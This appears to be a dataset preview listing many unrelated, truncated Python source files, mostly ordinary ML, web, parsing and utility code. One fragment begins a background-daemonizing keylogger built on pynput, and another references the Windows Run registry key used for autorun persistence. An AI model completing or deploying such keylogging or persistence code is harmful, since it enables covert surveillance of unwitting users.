text
stringlengths
3.07k
12.6k
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
import glob import numpy as np from PIL import Image, ImageEnhance, ImageOps from natsort import natsorted import pandas as pd import random import configparser def make_image_prep_aug(files, dir_anno, out_path, g_num, image_size, dir_out, filename_out): i=0 df = pd.read_csv(dir_anno, header=None) file_nam...
from collections import defaultdict from functools import lru_cache from .constants import ( MAX_SQUARE, MIN_SQUARE, MAX_INT, NORTH, EAST, SOUTH, WEST, NE, SE, SW, NW, ) from .types import ( DIRECTIONS, EMPTY, UNIVERSE, Bitboard, Color, PieceType, ...
#!/usr/bin/env python # Copyright 2017 <NAME> # # Licensed under the modified BSD (3-clause BSD) License. # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied...
""" Define Game object containing a board to insert Pieces and solve the game. """ import copy from typing import List from pieces import display_2Dlist # define type Piece that is a 2D array (list of lists of ints) Piece = List[List[int]] class PositionException(Exception): pass class RemovalException(Exceptio...
# # Copyright (c) 2019 <NAME> <<EMAIL>> # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of # the License, or (at your option) any later version. # # This program is distribute...
import logging from threading import Thread import datetime as dt from datetime import datetime import dateutil.parser as dp from plot import plotMeteoStuff from shellchecks import * import time import cherrypy import signal import socket import sys import os import meteo import plot plots_path = 'plots/' daq_path = ...
#!/usr/bin/env python3 import random import copy class Evaluator(): """ Given an expression and a list of variables, evaluates all possible results of the expression """ def __init__(self, expression: str, variables: list): self.expression = expression # Replace the operators with...
# To use this code, make sure you # # import json # # and then, to convert JSON from a string, do # # result = actions_response_from_dict(json.loads(json_string)) from dataclasses import dataclass from typing import Optional, List, Any, TypeVar, Callable, Type, cast T = TypeVar("T") def from_list(f: Callab...
from Exceptions import InvalidOperatorException from operator_symbols import OPERATORS, OPERATOR_SIGNS from truth_table import split_to_list def parse_expr_to_list(expr, vars_in_extra_lists=False): return Node(expr).get_expression_as_lists(vars_in_extra_lists) def list_expr_to_string(expr): """ Turns a ...
# # Copyright 2005- ECMWF. # # This software is licensed under the terms of the Apache Licence Version 2.0 # which can be obtained at http://www.apache.org/licenses/LICENSE-2.0. # # In applying this licence, ECMWF does not waive the privileges and immunities # granted to it by virtue of its status as an intergovernment...
#!/usr/bin/python2 from __future__ import print_function __DESCRIPTION=r''' BruteFuzz generates JUnit tests that execute a static target method on uniformly randomized inputs. For each line of the METHOD_LIST file, such as `C.m(int, double):100`, BruteFuzz creates 100 test methods of the form `@T...
from itertools import product from graph_tool.all import * from copy import deepcopy class PropositionGraph: def __init__(self, G=Graph(directed=True)): self.graph = G self.PropositionSet = [n for n in self.graph.vertices() if self.node_type[n] == 'event'] ...
import torch import math from torch import Tensor from torch.nn import LayerNorm from torch.nn import Module from torch.nn import Embedding from torch.nn.modules.activation import MultiheadAttention, ReLU from torch.nn.modules.container import ModuleList from torch.nn.modules.dropout import Dropout from torch.nn.modul...
import json from aws_cdk import ( core, aws_secretsmanager as secretsmanager, aws_ec2 as ec2, aws_logs as logs, aws_cloudwatch as cloudwatch, aws_rds as rds, ) from pydantic import BaseModel class RDSInstanceOptions(BaseModel): db_name: str db_username: str add_proxy: bool = False...
# TODO: in production: remove all print and cprint statements # TODO: respond on errors of subprocess.run() (use subprocess.run(..., check=True)) # TODO: USB drive overflow/fat32 maximal file size (4 Gb) exceed """ Main program module. """ import sys, time, signal, serial, logging, subprocess import RPi.GPIO as GPIO ...
""" Code adapted from https://github.com/deepmind/ai-safety-gridworlds/blob/master/ai_safety_gridworlds/environments/box.py Side effects environment: Sushi. The agent must reach the goal without interfering with other changes that are occurring in the environment, such as the sushi being delivered to and consumed by ...
from django.contrib.auth import authenticate, login, logout from django.db import IntegrityError from django.http import HttpResponse, HttpResponseRedirect from django.shortcuts import render from django.urls import reverse from django.contrib.auth.decorators import login_required from django import forms from django.v...
import os import sys from jedi._compatibility import exec_function, unicode from jedi.parser import representation as pr from jedi.parser import Parser from jedi.evaluate.cache import memoize_default from jedi import debug from jedi import common def get_sys_path(): def check_virtual_env(sys_path): """ A...
from datetime import timezone import dateutil.parser from html.parser import HTMLParser import sys class AsanaObject(object): def __init__(self, object_dict): self.object_dict = object_dict def id(self): return self.object_dict['id'] def name(self): if 'name' in self.object_dict: ...
#------------------------------------------------------------------------------ # Copyright (c) 2010, Enthought Inc # All rights reserved. # # This software is provided without warranty under the terms of the BSD license. # # Author: Enthought Inc # Description: <Enthought pyface code editor> #------------------------...
# Copyright: 2005-2011 <NAME> <<EMAIL>> # License: GPL2/BSD """ ebuild tree manifest/digest support """ __all__ = ("serialize_manifest", "parse_manifest", "Manifest") from itertools import izip import operator from os.path import basename from snakeoil.compatibility import raise_from from snakeoil.chksum import get...
from thefuzz import fuzz, process from datetime import datetime # niekoniecznie na roznych pietrach te same urzadzenia maja takie same swiatla # istnieje problem ze wlacz jest rozpoznawane czesciej jako stan OFF zamiast ON # czasami istnieje problem ze podczas wylaczenie po # parter: kuchnia, lazienka # pierwsze pie...
import sys,os from PyQt5 import QtCore, QtGui, QtWidgets from PySide2.QtWidgets import * from PySide2.QtCore import * from PySide2.QtGui import * from ui_untitled3 import Ui_MainWindow from ui_untitled_dialog import Ui_Dialog RUN_PATH = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" class Main...
#!/usr/bin/env python # draw_coloured_tree.py Written by: <NAME> <EMAIL> # organisation: Icahn School of Medicine - Mount Sinai # Version 0.0.1 2016.01.19 # License: GPLv3 from ete3 import * #import sys #from ete3 import NodeStyle #from ete3 import TreeStyle # take a hue, saturation and lightness value and retur...
# -*- coding: utf-8 -*- # vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright (C) 2014-2018 GEM Foundation # # OpenQuake is free software: you can redistribute it and/or modify it # under the terms of the GNU Affero General Public License as published # by the Free Software Foundation, either version 3 of the Licen...
import os import numpy as np import pandas as pd from sklearn.model_selection import train_test_split from classifier.model import BaseClassifier from classifier.text.text_pipeline import TextPipeline from sklearn.linear_model import LogisticRegression import logging logger = logging.getLogger('text classifier') ngram...
import carla from __init__ import client, world from TB_common_functions import wraptopi, calculateDistance, AgentColourToRGB # from path_planner_suite import astar_search, find_nearest from shapely.geometry import LineString import math import numpy as np import matplotlib.pyplot as plt def calculateDistance(x1,y1,x...
#! /usr/bin/env python import tensorflow as tf class TextCNN(object): """ A CNN for text classification. Uses an embedding layer, followed by a convolutional, max-pooling and softmax layer. """ def __init__( self, sequence_length, num_classes, vocab_size, embedding_size, filter_siz...
import yt_dlp from yt_dlp import YoutubeDL from youtube_search import YoutubeSearch from pyrogram import Client, filters from youtube_search import YoutubeSearch from pytube import YouTube from youtubesearchpython import VideosSearch from youtubesearchpython import SearchVideos from pyrogram.types import InlineKeyboard...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # <NAME> (https://sites.google.com/view/a2gs/) from os import fork, umask, setsid, chdir from sys import exit from pynput.keyboard import Key, Listener kbuf = "" def d(): if fork() > 0: exit(0) chdir('./') setsid() umask(0) def kp(k): global kbuf if k == Key...
#!/usr/bin/env python """ Integration test base class and utils """ from mock import patch from unittest import SkipTest import unittest from copy import deepcopy import os from gevent import greenlet, spawn from pyon.container.cc import Container from pyon.core import bootstrap from pyon.core.bootstrap import boots...
# Copyright (c) Facebook, Inc. and its affiliates. import argparse import collections import copy import dotdict import json import numpy as np import os import random import regex import tempfile import torch import torch.nn as nn from chinese_converter import to_traditional, to_simplified from tqdm import tqdm from...
import random # Crea un mazo de carta y lo retorna def crear_mazo(): mazo=[] for c in range(12): # El segundo for es para crear 4 cartas de cada número (uno por palo) for c2 in range(4): # El if es para descartar los 8 y 9. if not 8 <= c+1 <= 9: mazo.appe...
"""utils.py A few useful objects which do not naturally fit anywhere else. """ import ast import difflib import types import uuid from typing import TYPE_CHECKING, Any, Iterable, List, Tuple, Union import executing import pure_eval from . import debug_helper from .ft_gettext import internal_error, no_information, un...
import json import logging import math import os import sys from pathlib import Path from typing import Dict, List, Tuple import PIL.Image import click import cv2 import pandas as pd from pytorch_lightning import seed_everything from skimage import exposure from sklearn.model_selection import train_test_split from tq...
#--- plot all the features in 2d by taking 2 features at one time ---# #--- import required libraries ---# get_ipython().magic('matplotlib inline') import csv import scipy import sklearn import numpy as np import matplotlib.pyplot as plt import matplotlib.font_manager from sklearn import svm from PIL import Image from ...
# Copyright 2012-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Modifications made by Cloudera are: # Copyright (c) 2016 Cloudera, Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A cop...
from collections import deque tiles = dict() with open('in') as f: tile = [] tile_id = None for line in f.readlines(): line = line.strip() if line == '': tiles[tile_id] = tile tile = [] elif line.startswith('Tile'): tile_id = int(line.split()[1]...
from moviepy.video.io.bindings import mplfig_to_npimage from PIL import Image import matplotlib.pyplot as plt import imageio import numpy as np from .movefile import mymovefile # 引进一些常用np数学函数以简化输入,勿删 from numpy import sin from numpy import cos from numpy import tan from numpy import pi from numpy import arcsin from num...
import requests as req import json import logging import numpy as np import pandas as pd import sys import os logging.basicConfig(stream=sys.stderr, level=logging.INFO) # Pull in raster interaction metadata r = req.get(os.getenv('RASTER_INTERACTION_SHEET')).content current_mdata = pd.read_csv(pd.compat.StringIO(r.de...
import operator import sys import json import random from datetime import datetime import copy random.seed(19) class MaryDataset: def __init__(self, i, tuples, Gs, cost): self.id = i self.tuples = copy.deepcopy(tuples) self.N = len(tuples) self.Ns = {j:0 for j in Gs} for i,...
from enum import IntEnum from typing import Any, cast, Optional import msgpack import numpy as np from ymmsl import Reference, Settings from libmuscle.grid import Grid class ExtTypeId(IntEnum): """MessagePack extension type ids. MessagePack lets you define your own types as an extension to the built-i...
# coding=utf-8 import pycnml import time import numpy as np import struct import os class MNIST_MLP(object): def __init__(self): # set up net self.net = pycnml.CnmlNet(16) self.input_quant_params = [] self.filter_quant_params = [] def build_model(self, batch_size=100, input_si...
import configparser import os from typing import Any, List, Tuple import netCDF4 import numpy as np from numpy import ma FILE_PATH = os.path.dirname(os.path.realpath(__file__)) QualityResult = Tuple[str, Any, Any] class Quality: """Class containing quality control routines.""" def __init__(self, filename...
import mmap import os FIX_WORD_SCALE = 2**-20 def to_fix_word(x): """ Convert *x* to a fix word. A fix word is a 32-bit representation of a binary fraction. A fix word is a signed quantity, with the two's complement of the entire word used to represent negation. Of the 32 bits in a fix word, exac...
#-*- coding: utf-8 -*- from __future__ import unicode_literals import itertools as it, operator as op, functools as ft from hashlib import sha512 import re, urllib from django.core.urlresolvers import reverse from django.shortcuts import render_to_response from django.http import HttpResponse, HttpResponseRedirect fr...
#! /usr/env/bin python import os import csv import math import linecache import numpy as np from CP2K_kit.lib import statistic_mod from CP2K_kit.tools import log_info from CP2K_kit.tools import data_op def calc_v_hartree(cube_file, surface, work_dir): ''' calc_v_hartree: calculate v_hartree from cube file. Ar...
""" CPRAND meethode for CP decomposition and corresponding error estimation return also exact error """ import numpy as np import tensorly as tl import copy import time from src._base import svd_init_fac,err from tensorly.decomposition import sample_khatri_rao def err_rand(tensor,weights,factors,nb_samples,indices_...
#!/usr/bin/env python # coding: utf-8 # In[1]: get_ipython().run_line_magic('load_ext', 'autoreload') get_ipython().run_line_magic('autoreload', '2') import matplotlib.pyplot as plt import numpy as np import pickle import os import os.path import scipy,scipy.spatial import matplotlib matplotlib.rcParams['figure.dp...
from psutil import NoSuchProcess, AccessDenied, Process from win32con import SM_CXICON from win32api import GetSystemMetrics, GetFileVersionInfo, LOWORD, HIWORD from os.path import dirname, abspath from os.path import join as p_join from os.path import exists as p_exists from win32ui import CreateDCFromHandle, CreateBi...
#! /usr/bin/python3 """ fake_arm.py is a simple robot arm simulator. This script can be used to simulate an abstract pick-and-place """ from enum import Enum, auto from dataclasses import dataclass import math import sys import rclpy from rclpy.node import Node from rr_interfaces import msg from load_config import l...
import numpy as np from six.moves import range import PIL.Image as Image import PIL.ImageColor as ImageColor import PIL.ImageDraw as ImageDraw import PIL.ImageFont as ImageFont STANDARD_COLORS = [ 'AliceBlue', 'Chartreuse', 'Aqua', 'Aquamarine', 'Azure', 'Beige', 'Bisque', 'BlanchedAlmond', 'BlueViolet', 'Burl...
import socket import selectors import types import os import sys import imp import json import logging from urllib.parse import splitnport as parse_addr from threading import Thread from thinrpc.message import RpcMessage from thinrpc.client import RpcRemote from thinrpc import logger, RECV_SIZE, ENC, OK ############...
import numpy as np def reorder_image(img, input_order='HWC'): """Reorder images to 'HWC' order. If the input_order is (h, w), return (h, w, 1); If the input_order is (c, h, w), return (h, w, c); If the input_order is (h, w, c), return as it is. Args: img (ndarray): Input image. i...
# Copyright 2019 Yelp Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, so...
import os import ast import argparse from opencmiss.zinc.context import Context from opencmiss.zinc.field import Field from opencmiss.zinc.node import Node from opencmiss.zinc.status import OK as ZINC_OK class ProgramArguments(object): pass def elmult(u, v): return [(u[i] * v[i]) for i in range(len(u))] ...
import json import os import re from copy import deepcopy from tempfile import mkdtemp from typing import List, Tuple from pydantic import BaseModel from icolos.core.containers.compound import Conformer from icolos.core.workflow_steps.calculation.base import StepCalculationBase from icolos.utils.enums.program_paramete...
"""Tests written to ensure the patterns in the utils package work correctly. The methods tested below are ports from MICE, an excellent R package for handling missing data. The author of MICE (<NAME>) is also the author of Flexible Imputation of Missing Data (FIMD). The `df_general` variable below is a simulation of t...
import pytest from cogctl.cli import role import responses @pytest.fixture(autouse=True) def mocks(request, cli_state): with responses.RequestsMock(assert_all_requests_are_fired=False) as rsps: base_url = "%s/v1" % cli_state.profile["url"] role_id = "c7eab02d-cfcb-4a99-a42c-9cfe5deb24a2" ...
#!/usr/bin/env python3 # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software #...
#!/usr/bin/env python3 from ruamel import yaml import warnings import subprocess import os import argparse import sys warnings.simplefilter('ignore', yaml.error.UnsafeLoaderWarning) # CONSISTENCY CHECKS def allign_cuda_versions(joint_packages, module_packages_file, version): ''' Take to prefix provided by s...
import pytest from result import Err, Ok, OkErr, Result, UnwrapError def test_ok_factories() -> None: instance = Ok(1) assert instance._value == 1 assert instance.is_ok() is True def test_err_factories() -> None: instance = Err(2) assert instance._value == 2 assert instance.is_err() is True...
"""Functions for combining arrays.""" import numpy as np from numba import njit from numba.typed import List from vectorbt.base import reshape_fns def apply_and_concat_one(n, apply_func, *args, **kwargs): """For each value `i` from 0 to `n`, apply `apply_func` with arguments `*args` and `**kwargs`, and con...
import abc import glob import numpy as np import tensorflow as tf from tensorflow.contrib import slim from tensormate.graph.base import TfGgraphBuilder class DataSetParams(object): def __init__(self, path_pattern_train, path_pattern_validation): self.path_pattern_train = path_pattern_train self....
# import magic import os import errno import zipfile from xml import sax from io import BytesIO import glob from models.models import OpdsCatalogBook from sqlalchemy.orm import sessionmaker from sqlalchemy import create_engine, and_, or_ from book_tools.format.mimetype import Mimetype from book_tools.format.util imp...
import logging import os from minibatch._version import version # noqa from minibatch.models import Stream, Buffer, Window # noqa logger = logging.getLogger(__name__) mongo_pid = None def streaming(name, interval=None, size=None, emitter=None, relaxed=True, keep=False, url=None, sink=None, ...
from abc import abstractmethod, ABC from dataclasses import dataclass from typing import Callable, List, Optional, Any, Union import pyparsing from jsgf import RootGrammar, PublicRule, Literal from r7assistant.assistant import Assistant, Recognizer, RecognizerFactory, Module from r7assistant.decoder import Keyword, K...
import logging from django.db import models from django.core.urlresolvers import reverse_lazy from django.core.serializers import serialize from django.contrib.auth.models import User from django.utils.translation import ugettext_lazy as _ from django.template.defaultfilters import date, filesizeformat as fmt from dja...
import unittest from sunburst.path import charvalues_to_pv from sunburst.calc import ( Path, complete_paths, complete_pv, structure_paths, calculate_angles, ) from typing import List # Abbreviations: # hc: hand-calculated # pv: path values, i.e. Dict[Path: float] def stringstruct_to_pathstr...
# Copyright 2021 - <NAME> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, softwar...
import shutil import pytest import os import os.path as osp import tempfile import hydra import numpy as np from lidar_prod.tasks.building_validation_optimization import ( BuildingValidationOptimizer, ) from tests.conftest import pdal_read_las_array """We test the building validation optimizer against two LAS: ...
# -*- coding: utf-8 -*- from opsbro.evaluater import export_evaluater_function FUNCTION_GROUP = 'string' @export_evaluater_function(function_group=FUNCTION_GROUP) def string_upper(string): """**string_upper(string)** -> return the upercase value of the string * string: (string) string to upper case. <code> ...
import re import requests from mangapy import log from mangapy.mangarepository import MangaRepository, Manga, Chapter, Page from bs4 import BeautifulSoup def unpack(p, a, c, k, e=None, d=None): def baseN(num, b, numerals="0123456789abcdefghijklmnopqrstuvwxyz"): return ((num == 0) and numerals[0]) or (base...
from django.shortcuts import get_object_or_404 from rest_framework import generics from rest_framework.generics import GenericAPIView from rest_framework import status from rest_framework.permissions import (IsAuthenticatedOrReadOnly, IsAuthenticated ) from rest_framework.response import Response from authors.ap...
from collections import namedtuple from typing import List from django.db import close_old_connections from huey import Huey as HueyOriginal from huey.storage import RedisStorage from contextlib import contextmanager from huey.api import Task from functools import wraps from datetime import timedelta from django.util...
# Copyright 2013-2017 The Salish Sea MEOPAR Contributors # and The University of British Columbia # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2...
# Copyright 2018 OP5 AB # (c) Copyright 2018 SUSE LLC # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
import random # method that is used to generate the initial population # pop_size: size of population # num_of_nodes: number of nodes that a graph has def initial_population(pop_size, num_of_nodes): population = [] for i in range(pop_size): tmp = [] # generates a string whose length is equal to...
from collections import namedtuple import random as rd import math Color = namedtuple("Color", ["r", "g", "b"]) BLUE = Color(0, 0, 255) RED = Color(255, 0, 0) GREEN = Color(0, 255, 0) YELLOW = Color(255, 255, 0) BLACK = Color(0, 0, 0) WHITE = Color(255, 255, 255) GREY = Color(100, 100, 100) PURPLE = Color(100, 0, 100...
import pickle import json import itertools import graph import utils import numpy as np import networkx as nx from scipy.sparse.csgraph import laplacian from sklearn.metrics import auc, f1_score, precision_recall_curve, roc_auc_score def lp_diff(vr, fr, ord=None): diff = vr - fr return np.linalg.norm(diff, ord=o...
import base64 import ConfigParser import json import logging import socket import StringIO import struct import sys import time import urllib2 logger = logging.getLogger(__name__) class ZabbixMetric(object): """ Create structure contains metric for zabbix server. Attributes: host (str): Hostname as it disp...
import unittest from unittest.case import TestCase class Noh: def __init__(self,valor,pai=None): self.valor=valor self.pai=pai if pai is not None: pai.filho_esquerdo=self pai.filhos.append(self) self.filho_esquerdo=None self.irmao_direito=Non...
import argparse import logging import os.path import sys import time from . import crypt, file, fs, loopdev, util __all__ = ["Vault"] log = logging.getLogger(__name__) VAULT_OPEN_SCRIPT = "./vault_open" VAULT_CLOSE_SCRIPT = "./vault_close" class Vault(object): def __init__(self, vault): self.vault = vault def...
# -*- coding: utf-8 -*- import os import re import time import pickle import numpy as np from keras.preprocessing.text import Tokenizer from models.HAN import HanClassifier import torch.nn.functional as F import torch from utils import * from gensim.models import KeyedVectors from torch.utils.data import DataLoader fro...
import os from fugue_blazing._io import load_df, save_df from fugue_blazing.dataframe import CudaDataFrame from pytest import raises from triad.collections.fs import FileSystem from triad.exceptions import InvalidOperationError from fugue._utils.io import FileParser from fugue.dataframe.utils import _df_eq as df_eq f...
""" base class for config interactive tests """ import difflib import json import os import shlex from enum import Enum from typing import List from typing import NamedTuple from typing import Union import pytest from ..._common import fixture_path_from_request from ..._common import update_fixtures from ..._tmux_se...
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html import logging import time from functools import partial from typing import List, Optional, Tuple from scrapy import signals...
# Copyright (C) 2019 GreenWaves Technologies # All rights reserved. # This software may be modified and distributed under the terms # of the BSD license. See the LICENSE file for details. import json import logging import os import pickle from pathlib import Path from generation.memory_device_info import MemoryDevi...
# Copyright (c) 2021 NVIDIA CORPORATION. All rights reserved. # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, mod...
#!/usr/bin/env python3 ''' tests/runtests.py Unit test runner. Without any arguments, this runs all available tests. Flags may be used to selectively run tests, or just show some diagnostic information. Log output is automatically captured by this script. ''' import functools import io import logging import os import ...
# -*- coding: utf-8 -*- from previsionio.text_similarity import TextSimilarity from previsionio.supervised import Supervised from previsionio.timeseries import TimeSeries from previsionio.external_experiment_version import ExternalExperimentVersion from previsionio.experiment_config import DataType, TypeProblem from ty...
import requests import json import time import os # 读取配置文件 config_path = './config.json' with open(config_path, 'r') as config_file: config = json.load(config_file) music_root = config['filename']['music_root'] api_address = config['api']['url'] context = {} # 简单包装, 毕竟我只会调api嘛qaq def api(subaddr, arg={}): t...
#!/usr/bin/env python3 import boto3 import jinja2 from json import dumps import argparse from re import match PRINCIPAL_TYPES = ["AWS", "Service"] class TerraformPrincipal: def __init__(self, aws_principal): self._statements = [] for principal_type in PRINCIPAL_TYPES: if principal_type...
import warnings import numpy as np from scipy.optimize import curve_fit from .utils import Scaler, normalize, restore __all__ = ['GrowthCOVIDModel', '_exp_func', '_logistic_func'] def _exp_func(x, a, b, c): """Exponential function of a single variable, x. Parameters ---------- x : float or ...
#!/usr/bin/env python # -*- coding: utf-8 -*- from os.path import abspath, join, dirname import random import string import sys __title__ = 'names' __version__ = '0.3.0.post1' __author__ = '<NAME>' __license__ = 'MIT' full_path = lambda filename: abspath(join(dirname(__file__), filename)) FILES = { 'first:ma...
import random from typing import List, Dict from scipy import spatial """ This file can be a nice home for your move logic, and to write helper functions. We have started this for you, with a function to help remove the 'neck' direction from the list of possible moves! """ def avoid_my_body(my_body, possible_moves):...
""" install_ifcopenshell_python.__main__ ------------------------------------ Install ifcopenshell for python based on hard coded aws URL. NOTE: ifcopenshell will not be visible via command `pip list`. """ import argparse import os import platform import shutil import site import sys import urllib.request import zip...
from __future__ import absolute_import, division, print_function, unicode_literals import six from six.moves import zip, filter, map, reduce, input, range import pathlib import unittest import warnings import multiworm import multiworm.readers.image as mwimg TEST_ROOT = pathlib.Path(__file__).parent.resolve() DATA_...
from pathlib import Path import re import base64 import shutil import queue from collections import defaultdict import logging import jupyter_client from jupyblog import models logger = logging.getLogger(__name__) class ASTExecutor: """Execute code chunks from a markdown ast """ def __init__(self, ...